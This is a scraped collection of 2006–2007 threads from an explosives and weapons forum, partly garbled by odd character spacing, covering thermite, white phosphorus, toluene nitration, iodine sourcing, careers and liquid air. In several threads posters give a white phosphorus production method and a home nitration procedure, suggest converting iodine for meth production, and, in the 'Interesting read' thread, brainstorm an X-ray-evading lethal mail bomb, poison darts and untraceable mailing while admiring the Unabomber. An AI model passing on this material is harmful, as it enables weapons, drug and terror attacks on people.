chemicals they blurred out. One was a clear oily liquid the other you dont see. I'm guessing it was Sausage m i t K M n O 4 a n d
then glycerine as the oily liquid. Anywa y now that I know what it was I can go give it a try. Thx for the answer before the
question.
++++++++
T h e p e r m a n g a n a t e n e e d s a l u m inum p owder added to it for it to ignite th erm ite. NBK
Lewis February 5th, 2007, 08:39 PM

Got a little question for som e o n e w h o ' s d o n e t h i s b e f o r e :
S e e m s that electrolysing a brine solution with iron electrodes is a com m o n way of producing rust quickly for its use in therm ite.
My question is will this produce any really harmful fumes?
I'm also interested in a chlora te cell, so seeing as the only place I'd have to perform electrolysis would be m y house, is it
s m a rt?

Re-reading this, it occurs to m e that if the OP was using a large amount of bleach he would create Iron Chloride, rather than
I r o n O x i d e , a n d I h a v e n o i d e a if that would work in Thermite. Get your wire wool, put in it aerated water and add a sm all pinch
of salt to speed this corrosion.
Lewis, no, yo u will get hydrogen though, which is explosive at even low concentrations, and you m ay find that to be really
harmful. O r you can fill balloons with it, tie with a string, light said string and let it go outside to flo at away then burn up.
Lewis February 5th, 2007, 10:49 PM

I've heard th e reactio n a l s o p r o d u c e s e l e m ental chlorine gas, which is heavier tha n air. Surely this isn't som ething I want
building up in my basment!

This thread is drifting into k3wL'ness, so I'm shutting it down.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > W hite phosphorus... am p o u l e
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bjornebarn July 10th, 20 06, 07:5 5 PM

Yeah, I know, the topic isn't that good, but it will do :)
I a m g o i n g t o s y n t h e s i z e s o m e white phosphorus, by heating up a borosilicate ampoule, three cen t i m e t e r s h i g h a n d e l e v e n

m illim eters diam eter, containing 250 milligrams of red phosphorus. I am thinking about sim ply he ating the whole thing up in
t h e o v e n t o 2 5 0 d e g r e e s C e l s i u s ( s h o u l d b e e n ought for WP to form ). However, I don't kn ow what will happen to the am p o u l e
if I do that. Of course there will be an increase in pressure when the P turns into gas.
W hat do you think will happen? If it is not a good idea, do you ahve any better?
Anira July 14th, 20 06, 11:2 7 AM

P e r s o n a l y t h a t s o u n d s l i k e a b a d i d e a t o m e . I d o n ' t l i k e t h e i d e a o f h e a ting enclosed glass containers. But if you d o n ' t n e e d
m uch there is a trick to get so m e . I l e a r n e d a b o u t t h i s a s a m agic trick since if you sm e a r s o m e w h i t e p h o s p h o r u s o n t o y o u r
fingers then rub them together you can make smoke with your fingers.
Originaly what you do i s t a k e a p i e p a n a n d p l a c e a m a t c h s t r i k e r p a d o n it. Light the pad and the white phosphorus would
condense on the pan. I think you might be able to place the red phosphorus on a pan with a second pan closely above it. Heat
under the first pan and place ice in the second. W h e n y o u a r e d o n e y o u s h o u l d g e t s o m e waxy residue on the top pan.
I hope this h elps you, if you want I will m a k e a d i a g r a m .
texaspete July 14th, 20 06, 12:1 1 PM

. I l e a r n e d a b o u t t h i s a s a m agic trick since if you sm ear some white phosphorus on to your fingers then ru b t h e m t o g e t h e r
y o u c a n m a k e s m oke with your fingers.
Thats crazy. W hite phosphorus is extremely toxic, and ignites on contact with air.
c.Tech July 15th, 20 06, 01:3 6 AM

I l e a r n e d a b o u t t h i s a s a m a g ic trick since if you smear some white phosphorus o n to your fingers then rub them together you
can m a k e s m oke with your fin gers.
I s n t white phosphorus deadly pois onous a n d c a u s e s s e v e r e b u r n s ? I k n o w I w o u l d n t want s om ething tox ic on m y h a n d s . I

wouldn t even want it near m e if usin g a g l o v e .
Pb1 July 15th, 20 06, 01:4 6 AM

First, make sure the am poule is evacuated. Then gently heat the end containing the red P and strongly cool the other end.
The red P will vaporise and condense at white P at the cool end.
Any excess pressure will just result in the extra vapor condensing at the cool end. Just ma k e s u r e y o u h a v e g o o d c o o l i n g a n d
don't let the tem perature get too high. As long as there 's som e place for the extra vapor to go (the cool part), you shouldn't
have a problem .
Anira July 15th, 20 06, 01:3 1 PM

I s n t white phosphorus deadly pois onous a n d c a u s e s s e v e r e b u r n s ?
W ell here is the original trick:
1. Take a striker from a m atch packag e.

2. Place red side down on a pie pan.
3. Light the cardboard.
4. Make sure it stays lit.
5. R u b s o m e of the residue off pan on to finger.
6. Rub fingers together.
I would think that you end up with close to nothing since not much conde nses in the first place and what you get is
contam inated by the burnt cardboard. This trick probably is not somethin g you would want to do on a bigge r scale or all the
tim e.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > vitam in c
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billybobjoe July 10th, 20 06, 09:1 5 PM

I h a v e s e a r c h e d t h e f o r u m s a n d f o u n d no topic directly pertainin g to this.
My question is what is the concentration of citric acid in over the counter vitamin c powder. Are there any anti-clum p i n g a g e n t s
present or inert binders? I have read the ingredients of the bottles and just says "contains: citric acid."
If th ere is inert binders or anti-clumping agents present how would I got about se parating them , a s s u m ing you know what they
are. Any and all help is appreciated.
Bert July 10th, 20 06, 10:3 9 PM

Perhaps you have confused citric acid with ascorbic acid (vitam in C).
So which do you want. C itric acid or ascorbic acid?
Hobbit Porn July 11th, 20 06, 01:3 2 AM

If it is citric a cid you are after, using vitamin C powder it probably a very expensive way of going about it.
Citric acid can norm ally be fou nd in the superm arkets. Around here it is on the sh elves am o n g s t g r o u n d n u t m e g a n d o t h e r
spices.
I've seen it sold as Citric Acid and Sour Salt.
The Brand I've got at the m oment is McKenzie's. Althou gh I thin k this is an Australian brand.
nbk2000 July 11th, 20 06, 04:0 2 AM

Pool and spa suppliers sell Vitamin C powder (Ascorbic Acid) at $5 for 4 ounces.
Citric Acid is available in the canning supplies section of the grocery store.
The only time I've ever seen the two m ixed is in an anti-darkening additive for hom e canning fruit.
billybobjoe July 11th, 20 06, 04:5 6 AM

Thank you all for your help. I am in fact after citric acid, and no, I didn't get my acids m i x e d u p . I a l w a y s h e a r a b o u t p o o l a n d
spa suppliers having this mira culous selection of goodie, my idea of a ca ndy store, but to my dism ay I found chlorine tablets
( s o m e f o r m of chlorate I assu m e ) a n d low test peroxide 14%.
Pb1 July 15th, 20 06, 02:0 1 AM

Vitam in C = ascorbic acid, not citric acid
It sounds to me like you did get your acids mixed up.
By the way, pool tablets = calcium hypochlorite.
c.Tech July 15th, 20 06, 02:5 7 AM

P b 1 I think what he was trying to do wa s extract citric acid out off vitam in c powder, although it is possible it isn t very
practical.
It would probably be easier to extract it from le mon juice or sour sugar.
Billy - m aybe you should research into what chemicals a re in products m ore thoroughly. One day if you get som e t h i n g m i x e d
up with another (eg. hypochlorite and chlorate in pool tablets) you could seriously injure or kill yourself.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > C areers in pyrotechics/
d e m olition...
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Exerd July 13th, 20 06, 04:5 4 PM

Greetings all,
I h a v e b e e n i n t e r e s t e d t h r o u g hout my lifetim e in a care er related to pyrotechnics, and possibly dem olition. I have tried to
c h a n g e m y g oals as preference to inco me, and now find m yself wanting to do what I have really, always wanted to do.
From m y g e n e r a l a s s u m ption, pyrotechnics can't provide a good career outlook for todays youth individuals...unless of coarse
one was to becom e an entrepreneur with a decent size company, as dem a n d s a r e s e e m ingly just too small.
T h i s h a s m a d e m e t h i n k a b o u t e x p l o s i v e d e m olition as well. But honestly, either way, I feel a career in the area could satisfy
greatly with any decent outcome.
From what I have researched, I can fin d VERY little pertaining to these specific careers, and how the great ones out there got
themselves going. I know that there are m i n i n g d e g r e e p r o g r a m s available, however I don't think a bachelors is right for m e,
but just maybe.
I would howe ver be very interested in attending a tech school related directly to these careers, provided the y are reknowned
a m ong the industry a s b e i n g g o o d e d u c a t o r s .
I'm h o p i n g s o m e of you out there m a y b e a b l e to steer m e in the right direction with this, as I have literally run out of places
to search, and really don't know where to go from here. I realize it may not be the highest paying field to venture into as a
career, but I do strongly believe in one staying true to his lifelong goals, and this is what I'm trying to do.
I really appreciate any and all input which can be provided on this topic.
Ekilo July 24th, 20 06, 08:5 3 PM

W ell now, first off, I am not a recruiter and have no desire to be one. I a m a 21B in the Reserves. The school for th e MO S was
a b l a s t , p u n i n t e n d e d . Some of the tests were hard, needing a 100% to pass. But it paid off in the end. Setting off C4, TNT,
D y n a m ite, 40lbs shaped charges, 40lbs cratering charges, and Bangalore torpedo es. We learned initiating m ethods and we
also learned how to set-up and disarm m i n e s a n d b o o b y t r a p s .
Having said that, I also would like to find a civilian job/career using m y n ew found skills.
Bert July 25th, 20 06, 08:4 2 AM

There is only one school in the US that has a course in display p yrotechnics, and it is not a degree program but rather a short
course intended to fam iliarize first responders and others with the basics of display operation. There are also som e c o u r s e s
that would be part of a chemical engineering, a erospace engineering or other degree, but no one I know of in US offers a
degree program specificaly in pyrotechnics.
W e generaly learn pyrotechnics in an apprentice type, very inform al way in the US. You find someo ne who knows what you want
to learn, and work for them. P erhaps they start to pay you after you become useful. Usualy not full tim e, year round work
either.
If you want more info regarding display pyrotechnics, co ntact m e. You will need to be 18 with no fellony con victions to be
e m ployed, of course.
I do not know of any tech school degrees in dem olition. Your best bet is working for Uncle Sugar, and he has no real obligation
to give you exactly th e training you asked for once you sign on the dotte d line. No matter what the recruiter said.
Hobbit Porn July 27th, 20 06, 12:2 5 AM

If you are really wanting to wo rk with explosives, and don't care about living in the middle of butt-fuck nowhere, then have a
look into finding train ing as a shot-fire r. These are the guys that are use d at quarries and m ining operations for controlled
blasting.
I think shot-firing is norm ally an apprenticeship deal (In Aust. anyway, don't know about elsewhere). Recently m y friend was
contem platin g starting as a shot-firers apprentice with Dyna Nobel that paid pretty fucking well ( for an appreticeship wage) with
pretty decent living arrangm ents.
The jobs are out there, rather then loo king at educational institutions, you m ight be better off actually look ing at what different
m i n i n g a n d r e l a t e d c o m p a n i e s h a v e t o offer.
Also, have a look at the International Society o f Explosives Engineers webpage, h ttp://www.isee.org, and have a loo k at their
jobs section. It might give you an idea of what sort of work is ou t there.
The ISEE also has a certificate program , but I'm not sure if this is m eant for people trying to just start out in blasting, or if it is
m eant as further training for people already em p l o y e d i n t h e a r e a .
Ekilo July 27th, 20 06, 05:2 4 PM

Thank you for the link Hobbit Porn.
I browsed through the job openings and discovered that if I get a civilian certification then I can, at the least, have the
potential to triple my current incom e.
I will have to do som e more research and find just how feasible it would be for m e to pursue this.
T h a n k y o u a g a i n f o r t h e i n f o r m ation.
Lewis August 2nd, 2006, 01:10 AM

I'm glad this topic has been b r o u g h t u p , b e c a u s e I t o o h a v e d e v e l o p e d a p a s s i o n f o r p y r o t e c h n i c s a n d e x p l o s i v e s o ver the
years.
My interests are more inclined towards the fireworks industry, and I like the idea of being independant.
How hard would it be to start a com pany and get contracted to do shows and stuff? W ould I be better off working for an
existing group?
I would apprecieate input from a n y o n e with experience in the fie ld.
Bert August 3rd, 2006, 10:40 AM

You would best go to work for an existing group untill you know som e t h i n g a b o u t t h e b u s i n e s s .
W hen you go to start your company, you had b e t t e r h a v e a b o u t $ 2 0 0 , 0 0 0 U S a n d a c o u p l e o f y e a r s b e f o r e y o u n e e d t o m a k e

a profit. This is from p e r s o n a l e x p e r i e n c e .
Sausagemit August 8th, 2006, 01:22 AM

W hen you go to start your company, you had b e t t e r h a v e a b o u t $ 2 0 0 , 0 0 0 U S a n d a c o u p l e o f y e a r s b e f o r e y o u n e e d t o m a k e
a profit. This is from p e r s o n a l e x p e r i e n c e .
W ell for starters dont you have to have your own bunker to store all your equipm e n t a n d e x p l o s i v e s i n , a n d t h e b u n k e r h a s t o
be registerd and inspected by the BATF.
My brother is acctually thinking about becomeing an EOD (explosive ordnance disposal) for the Navy. And from what I hear is
one of the easiest wa ys to jum p from normal civilian to a fully licensed dem olition expert. You just have to sacrifice 8 or so
years of your life to d o so. The nice part about it is you don't have to pay for the training or certification courses which can be
v e r y e x p e n s i v e . T h e y p a y y o u t o t a k e t h e m instead.
http://www.eod.navy.m il/training.htm
munas August 8th, 2006, 03:33 AM

Hello Exerd Im also interested in the demolition career and you are right there's to little info about Explosives courses. I know
I link that I hope you find it usefull.
www.iexpe.org. Institute of Explosives Engineering.
Good luck.
Matt_Ladder January 2nd, 2007, 11:26 PM

I would say mining engineerin g is your best bet. The Colorado School of Mines is a great school, except difficult to get into.
There are school all over the US though and in Austraila and Austria. The University of Alberta also offers a program there. I
believe there are m any clinics at the Colorado school of Mines too. Being a chem ist will also do it. The lady who invented the
bunker buster was a chemist I think and went to the university o f Mich. I myself am very interested in these fields and I have
d e c i d e d t o b e a m ining engineer. The pay isn't half bad either.
- Matt
koji January 11th , 2 0 0 7 , 0 3 : 1 5 P M

I would agree that C hemistry is a great path to undertake. W h i l e I h a v e n o e x p e r i e n c e o r m u c h k n o w l e d g e i n M i n i n g
engineering, I can certainly see the ap plication.
However I am currently a student at FSU (Phyiscs) and have som e very close friends who are chem ists, according to them if
you are able to get into the chemical engineering program s you get free reign over the chem labs when classes aren't there.
They blow stuff up all the tim e. So I im agine that chemical engineering would be a good area to go into as well. Although I
don't know how m uch actual blowing up you get to do on the job.
You could always try to go into som e sort of special effects. There has to be a school out there tha t specializes in that kind of
stuff. And you would be sure to do what you wanted there, even if it has to be 'safe' in a sense.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Para-Nitration of Toluene
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shock_flame July 14th, 2006, 10:39 AM

Hi. I am interested in ultimately synthesizing Benzocaine (R) from toluene scratch, as lab practice. Benzocaine's formal name is 4-Aminobenzoic Acid Ethyl Ester. Here's the link
to see its structure http://www.genome.ad.jp/Fig/compound/C07527.gif
I would like some help on the para-nitration of toluene. In the explosives section of the website I have already found good procedures for mono-nitration of toluene; however,
the posters were merely concerned with just getting toluene nitrated once, and weren't concerned if it was ortho or para nitrated.
1) From my organic chemistry textbook, I know that the nature of toluene itself will cause the mononitration reaction to create a 2:1 ratio of ortho:para nitro groups. As I am
poor like many college students, I really don't want to waste 60% of my yield. I have investigated many patents and scientific papers (used SciFinder to locate articles, and
then read them on freepatentsonline). There's a lot of methods that tell you how to make para percentage increase significantly, but unfortunately many of their materials are
too sophisticated (such as an ultrasound generator).
The most feasible methods I saw were to use zeolite catalysts on the reaction at around 100+ degrees Celsius. If I were to use this, though, does anyone know where to buy
zeolite (hardware stores, maybe?)? Also, I'm worried about the strong temps implied in association with nitric/sulfuric acid/toluene. Is this a serious hazard that I should back
away from?
Ultimately, I'd like to know if anyone knows of a good, accessible nitration method that favors para-nitration.
2) Should I synthesize the nitric acid myself or should I order it online? I know of an online site that charges 9.99/16 oz. of 60% nitric acid (plus $20 special shipping by UPS). I
guess this is a price and safety issue combined here. Is it more cost effective to make it myself or to buy it? Also, I have read on the forums about a black-list that people get
put on if they order chemicals online, especially nitric acid. Am I at risk of getting on this list if I buy this stuff online?
I'd appreciate any assistance.
shock_flame July 24th, 2006, 12:18 PM

Thank you, admin and moderators, for allowing this thread.
I have done some work ever since the last synthesis. I hesitated to purchase any zeolite rock off of eBay to perform a para-favoring mono-nitration, since I wasn't sure if the
crude form was the zeolite of choice used for zeolite "cages" in para-nitration favoring synthesis procedures. Therefore, I decided to manipulate temperature instead. Knowing
that activating power of an electrophilic aromatic substitution can be increased by raising temperature, I decided to lower the temperature to achieve the opposite result. For
those of you not too familiar with the theory and mechanism of EAM with toluene, toluene's enormous activating power creates a nearly ideal 2:1 ortho para ratio in product for
nitration. Usually, if you do an EAM with a ortho/para directing group (like chlorobenzene), the result is almost exclusively para, because the ortho positions are disfavored due
to their close proximity to the large chlorine atom's (a steric effect). The methyl group in toluene is small enough to make steric effects negligible, and thus a 2:1 ratio is
achieved.
Now that I've set the stage for everyone, this was my procedure. I measured out KNO3 (from Green light, which I've read is supposedly pure stuff) and mixed it in with 3
equivalents of sulfuric acid to make HNO3 while keeping a H2SO4 environment. I must have added in the KNO3 too quickly, as the crystals just clumped up in the acid. I had to
break them up and try to stir/swirl to make the KNO3 dissolve. I then added in 1-equiv of toluene. Similar to a post in the "Synthesis of TNT thread", the mixing of all 3
chemicals creates a opague yellow oil on top and a viscous brown layer on the bottom. This reaction was carried out in a propylene beaker that was in an ice bath. Since I
currently don't have a stirrer, I swirled for compensation (for about 1.5 hrs). I then realized that I was losing product due to evaporation (strong smell), and quickly poured
everything into a glass vial, covered it tightly with vinyl plastic wrap (the plastic wrap used for food), and left it alone for the night.
The next morning, I was met with a strange scene. There were now 3-4 layers! On the top was the oil from last night, but now a dirty brown instead of a light yellow. Directly
below this was a vicous looking brown/white layer that looked distinctly different. Next was a clear brown liquid. The bottom layer had crystals, as well as a strange gooey
yellow substance. This bottom layer confused me very much. According to solubity rules learned in general chemistry, the alkali metals should be soluble! While I have thought
of the possibilty of unreacted KNO3, I'm suspicious that the crystals could be KHSO4. The strange gooey yellow substance is a complete stumper. I have read in the "Synthesis
of TNT" thread that one guy, when making TNT from DNT, woke up to find a mass of TNT crystals sitting at the bottom of the jar. This shouldn't have happened with me: I
know I didn't add enough KNO3 for this to happen. My quantities were: 15 mL H2SO4, 5 mL Toluene, and 5 g KNO3 (the actual stoichiometric equivalence of KNO3 to toluene
should have been 4.93 g, but I added 5 g to try to get better yields).
I then extracted the top layer and conserved the contents of the original vial for later work. To separate the p-nitrotoluene from the o-nitrotoluene, I decided to take advantage
of MP's (they have a difference of over 50 degrees Celsius). I used a 99% isopropyl alcohol solvent for this, obtained from a auto store. This turned out to be a BIG BIG BIG
mistake, because of a dye that they add to the alcohol. Using a purification by recrystallization method, I got a reasonable precipitate. I used a syringe to take out the liquid
and decided to leave the solid to dry out. BIG mistake #2. Now I will explain why I said they were mistakes. First of all, when I boiled the liquid to get rid of alcohol and leave
o-isomer product, the liquid turned black/brown. This should NOT have happened: the o-isomer ought to remain yellow, and shouldn't decompose; the only thing that
decomposed was the dye, I suspect. Now with a black product, I'm don't know what to do with it. The 2nd mistake was not using gravimetric filtration or vacuum filtration to
separate the solid. The liquid left in the solid must have inevitably contained some o-isomer, hence it wouldn't dry after 20 hours. When I got impatient and heated it, the solid
turned black, again probably because of the dye. Now I have a black fluid and a black powder, and these two equal to reflect a poor design of experiment.
Lessons:
1) Don't use auto-shop isopropyl alchohol: it screws you over when it mixes with the nitrotoluene. Boiling it by itself doesn't turn the alcohol black, however. It probably reacts
with the nitrotoluene somehow.
2) Use proper filtration to separate isomers. Drying sucks, as I have illustrated.
3) Add KNO3 in minute amounts to H2SO4, to prevent clumping.
Now, I do have some questions that I hope the Rogue Science community can help me with. Can somebody please tell me where to get these zeolite "cages", or at least how
to make them from the zeolite rocks found on eBay? These zeolite cages, when used with HCL and acetic acid solvent, will give almost 60-70% para nitration, reversing the
ortho:para 2:1 ratio. (it also uses milder conditions, which makes it safer for us).
Also, I'm deciding to make a fume hood (to prevent killing of self and family/friends with toluene fumes and other gases). The plan is to suck exhuast air through a Volvo car
filter that has activated charcoal layer, and then bubble exhaust through a thick layer of activated charcoal about 1 cubic foot in volume. I have read a filtration archive file in
which a member remarked that plans like these will be too expensive, since the charcoal rapidly saturates. Can somebody give me an estimate on how long would an average
saturation period would be?

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > purple smoke
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bjornebarn July 17th, 2006, 04:35 PM

I have read that a mixture of aluminium powder and iodine crystals will produce purple smoke when exposed to a small amount of water. However, I have no idea of the ratio.
Can you help me there, and maybe give me more relevant information?
nbk2000 July 18th, 2006, 08:11 AM

Anyone feel like telling this n00b just exactly why this is a stupid question?
Oh, and not forgetting the fact that this was originally posted in the wrong section.

I might not know exactly why its a stupid question, I don't know too much about chemisty, but I can clue you in on the reaction.
This reaction produces a lot of smoke that you don't want anywhere near your mouth. I have seen it in a chemistry lab with the use of a vent hood. A couple grams went on
for a few minutes and filled the hood with smoke the whole time (the fan was on). You sound as thought you have not taken any sort of chemistry course, this probably would
not be a good place to start.
Aluminum has an atomic mass of 26 and Iodine of 127. The reaction requires 3 iodine atoms for every aluminum one, so we need 127*3/26 or 14.5 times as much iodine as
aluminum by weight. You only need a couple drops of water.
tomu July 18th, 2006, 06:40 PM

If you have access to iodine don't waste it on this silly smoke thing.
If you don't know better than this, for all means sell it to people who have better uses for it (and no I'm not talking about Nitrogen Tri-iodide).
nbk2000 July 19th, 2006, 05:07 AM

That's exactly my point!
Convert that iodine to hydriodic acid, and you can sell it at over $1,000/gallon to dope cooks, or use it yourself to make WAY more money making meth, than burning it up for
silly colored smoke.
Remember, this 'formula' was from a time when you could buy iodine and other 'drug' chemicals that are now banned, over-the-counter!

That's interesting. In the UK, a few years ago, I had no trouble buying a brown glass jar with iodine granules in it, from a local chemist. I think it was 200g.They sit in the
chemicals collection to this day.
Bert July 19th, 2006, 12:02 PM

Up to a couple of years ago, you could buy crystals of Iodine by the pound at agricultural supply stores for treating hoof rot. No more in the US. I have to sign for, and they
must record my driver's license and quantity of ephedrine obtained if I buy allergy pills now as well-
nbk2000 July 20th, 2006, 05:08 AM

You can still buy liquid iodine tincture for hoof rot, at ~$40/gallon. I believe it's 7% I, so there's a bit in there, but not a lot.
c.Tech July 21st, 2006, 10:40 PM

A while ago (2-3 years), I could buy sodium iodide from an agricultural supply store, they probably still sell it.
It was about $50 AUS per kilo.
It can be changed to iodine through this method http://www.frogfot.com/synthesis/iodine.html although it would be hard obtaining potassium permanganate for a cheep price
and dichromate is carcinogenic, I just know I would get some on my hand ;). http://www.frogfot.com/synthesis/kdichromate.html
grendel23 July 22nd, 2006, 03:15 AM

I don't know about OZ, but in the US, KMNO4 is available to recharge filters used to remove iron from well water, $16 per pound at farm supply stores.
nbk2000 July 22nd, 2006, 04:07 AM

To change an iodide to iodine, all you need is Hydrogen Peroxide and Hydrochloric acid, both of which are very readily available, and which has been detailed here before.
UTFSE. :)

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Interesting read
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Nihilist July 18th, 20 06, 06:3 6 PM

http://www.soci.niu.edu/~critcrim/uni/uni.txt
Bert July 18th, 20 06, 10:2 9 PM

I think of Ted whenever I have to physicaly go into a US post office to mail a package over 16oz. Probably not the change to
m odern industrial society he had intended...
http://www.rotten.com /library/bio/crim e/serial-killers/unabom er/
nbk2000 July 19th, 20 06, 06:4 3 AM

I actually had the idea of m a k i n g a d e sign challenge based on that fact.
Design a device that, including packaging, weig hs 16 ounces or less, with little or no m etal content, preferably X-ray 'safe', a n d
as lethal as possible (barring biologica l agents).
Bert July 19th, 20 06, 12:2 4 PM

Piece of cake, assuming you only wish to destroy anything within about a 3 ' r a d i u s o f t h e p a c k a g e o n o p e n i n g . Y e s , I h a v e
thought about the futility of m ost "security" me asures to do anything but m ake elected officials ap pear to be lookin g out for
us.
Obviously, considering the m a s s o f m ail and th e degree of training and technology involved in the screenin g process it would
b e e v e n e a s i e r t o m a ke an infernal de vice that passed freely through the system.
Ted should have been thinking of jiu-jitsu ways to use the features of industrial society against itself, but in the end he seem s
t o h a v e b e e n m ore of an alienated, crazed nihilist than a revolutionary. Pitty he didn't spend som e of the time from 16 to 20
s o m ething getting laid.

I'm not up on US postal law, but isn't the law simply that you have to show ID to post anything over 16oz.? Do they actually
Xray to look inside, or is it just to kill anthrax?
I t h i n k s o m e kind of radially arranged directed dart idea might be best, with a poison unaffected b y the X-ray sterilisation. Blow
it up and the darts fly a good distance, and poison what they penetrate.
The Ju-Jitsu way would be to have som ething that started spewing radioactive smoke 30 seconds after X-ra y, when it is with all
the other stu ff in the sorting office, next to the expensive machines. Then it bursts into flam e.
Bert July 20th, 20 06, 06:5 1 PM

W e don't have to actually show ID, the y just wa nt us to have our m ugs recorded on the se curity cam eras and they want to know
where/when packages entered the m ail.
THIS is where the mo ney for Hom eland security is actually going ... http://www.local6.com/news/9539613/detail.htm l
nbk2000 July 21st, 2006, 06:13 AM

Anything created by man, can be subverted or destroyed by another m an. :)
For instance, I had th e thought of a time-release adhesive that would be u s e d t o h o l d a f a l s e f r o n t o n a p a c k a g e , l e a v i n g o n l y

the postage uncovered.
T h e p a c k a g e goes in the system at on e coast and, at som e point halfway across the country, the label with the false
d e s t i n a t i o n a d d r e s s a n d r e a l p o s t a l m arks showing it's true origin, falls o f f . T h e r e a l d e s t i n a t i o n a d d r e s s a n d f a l s e p o s t a l
m arks are re v e a l e d , a n d t h e p a c k a g e i s r e - r o u t e d v i a a u t o m ated barcodes you've printed on it, to its true target.
W hen investigators try to find its origin, there's nothing to connect it back to you. :p
A n d o n l y m a i l g o i n g t o f e d e r a l b u i l d i n g s , l i k e t h e S e n a t e o r C o n g r e s s , i s g a m m a-ray sterilized. Us peons have to ta k e o u r

chances with the anth rax.
Bert July 24th, 20 06, 12:2 4 PM

T h i s m ay be of intere st.
http://thelawdogfiles.blogspot.com/2006/07/meditation s-on-too l-use.html
Defendu July 29th, 20 06, 05:3 2 AM

Might is Righ t (http://might-is-right.blogspot.com)
Book Descrip tion

"One would think that in our liberal, enlightened times a book dating from the Victorian Age would be viewed as a quaint
curiosity. Not so Dr. R agnar Redbeard's notorious Might Is Right or the Survivial of the Fittest. It is hated and denounced as
m uch today as when it first m ade the rounds of the Victorian Age's elite and influential, which explains why the book is often
featured on banned-book lists. Perhaps a 1905 ad for Might Is Right will give offer some insight: This is a pitiless a n d
appalling book by an author of extraordinary virility and rugged prim eval force, whose sen se perceptions borders on the
supernatural.
Ten years ago private typewritten copies of this startling work sold in London and Berlin for $150. Since then the m ost powerful
living minds have absorbed its teachings with satisfaction, but in guarded silence. Unquestionably it is the m ost pregnant an d
remarkable publication that has appeared in Christendom for 15 centuries. From i t s p a g e s [ T h e o d o r e ] R o o s e v e l t s c e l e b r a t e d
philosophy of Strenuousness, Race Suicide and the Big Stick has been distilled anddiluted.
Prince Bismarck, Paul Kruger and President McKinley read it in m anuscript before they died; and it has given nerve and
decisiveness to the world-shaking aggressive activity of men like C ecil Rhodes, Von Buelow, C hamberlain, Elihu Roo t, Kaiser
W illiam , Abdul Ham id and Von Phleve. It has also had its effect on General Castro, Adm iral Togo, Senator Tillman, Grand Duke
Sergius, Lord Kitchener, General Trepoff, and their ablest adversaries. Indeed it has influenced public opinion throughout the
whole world by changing the thoughts and opinions of national leaders and editors in the m ost wonderful way. It positively
alters the course of m ens lives. It has affected the destinies of nations, races, religions. It has annihilated many popular
Ideals hitherto believed sacred and im pregnable. Nevertheless it is writte n as interestingly as any romance.
Dr. Russell W allace and Count Tolstoi criticize it in frank despair: and Bernard Shaw has written a d ram a ("Man & Superm an")
with Redbeards thought as his them e: and its power over the m ore intelligent followers of Marx, Lasalle, Jaures, Hearst,
Bebel, Bernstein, is beyond calculation.
In fact this book is a veritable religious and political earthquake, m a r k i n g t h e c o m p l e t e c o l l a p s e o f a f a l s e a n d d e p r e s s i n g

philosophy that has held sway for nearly 2,000 years. The thoug ht in this book is positively startlin g. It thrills across the
e m pires and republics like the wakening trump of a Warrior Archangel. It out Darwins Darwin; it out Spencers Spencer; and,
compared to some of its splendid chapters the writings of Machiavelli are as the babble of a babe.
Nothing is true it declares, nothing is perm anent; all things are open to you; the world is to the Strong; struggle is forever;
they m ay take who have the power; they can keep who CAN. The author proclaim s himself a Messiah of Evolution; a re-
incarnate Odin, whose mission it is to journey from nation to nation, and city to city, teaching and preaching the ancient, true,
heroic and m asculine Evangel of valor and gold . You cannot buy Might Is R i g h t i n m o r e t h a n h a l f a d o z e n b o o k s t o r e s o f t h e
world; nevertheless it has bee n translated into four m o d e r n l a n g u a g e s ; a n d o v e r 1 2 0 , 0 0 0 c o p i e s h a v e b e e n s o l d i n t h i s
country and in Europe. Orders are received from t h e m o st distan t nations of the earth."
(Quoted text refers to Dil Pickle Press edition, edited by Darrell W . Conder)

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Liquefying air, or oxygen enriched air.
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billybobjoe July 19th, 2006, 05:03 AM

Well I have searched the forums and havent found anything, and searched Google, so I am posting a new topic.
I happen to have an old refrigerant compressor that will pump to 500 psi before it starts to sound strained. Now I am sure that it could do more, but I dont want to hurt
it. So my question, could I compress air to 500 psi, and then cool it. Just store the air in some form of tank (say a propane tank). Once the tank has come to a normal temp
again (assuming it would get hot from compression) immerse it in dry ice/ acetone slurry and cool out only the oxygen, argon and co2, but leave the majority of the nitrogen
as a gas.
I have racked my brain, but I havent thought of any reasonable ways of storing my oxygen enriched liquefied air, perhaps store it as a gas, and cool it as needed. As
an aside, I was wondering if there would be any ways to separate out the oxygen, or remove say the argon and any liquefied nitrogen but not cause significant losses of my
oxygen.
Edit: sp.
nbk2000 July 19th, 2006, 05:22 AM

Oxygen doesn't liquify at the temperature of Dry Ice/Acetone slurry.
Now, if you compress air, cool it, and release the pressure through a needle valve, recycling the cooled air through the circuit, then eventually it'll get cold enough to condense
out the oxygen/nitrogen into your dewar flask collector.
You then let the 'liquid air' evaporate, which causes it to lose the lower boiling-point components like argon/xenon/nitrogen, leaving behind liquid oxygen. :)
The Amateur Scientist Collection CD has a relevant article that you could use.
billybobjoe July 19th, 2006, 06:29 AM

I will have to look into The Amateur Scientist Collection on CD.
Would I get enough cooling prior to releasing through a needle valve by cooling in dry ice/ acetone slurry that it would only have to be released once?
Maybe it was a hair brained idea, but I was thinking that if I compressed it, its boiling point would be closer to zero and then I could simply compress more air into the cold
cylinder, cool that. Then once it was fully chilled i could "siphon" my liquid air off. :)

Yes, that would certainly help. The first step is to ensure your compressor is in the shade. Then fill it fully, and wait for it to cool down to ambient. Then you can top it up, and
repeat. Now you can start to cool it with a water jacket or something cheap, to bring it down to about 5 degrees, and then you can get clever with your dry ice.
Commercial systems re-circulate the air, as NBK mentioned, and they achieve very impressive efficencies, turning some 50% of the compressed air into liquid which stays cool
enough to remain liquid.
As regards fractional distillation, you will be bloody lucky to get anything to work. The idea of freezing it just enough to get only the O2 is also impossible. You are talking
multimillion pound gear for doing that at cryo temps. Even a simple centrifuge and extraction may well be beyond your safe capabilities.
I'd go for the centrifuge, anyway. Look up the densities of LN and LOX, and Argon, etc. and you should be able to use a regular centrifuge design that has been modified a bit
without killing yourself. Just remember that wood and steel aren't very strong at these temps, and most plastics are brittle as ice too.
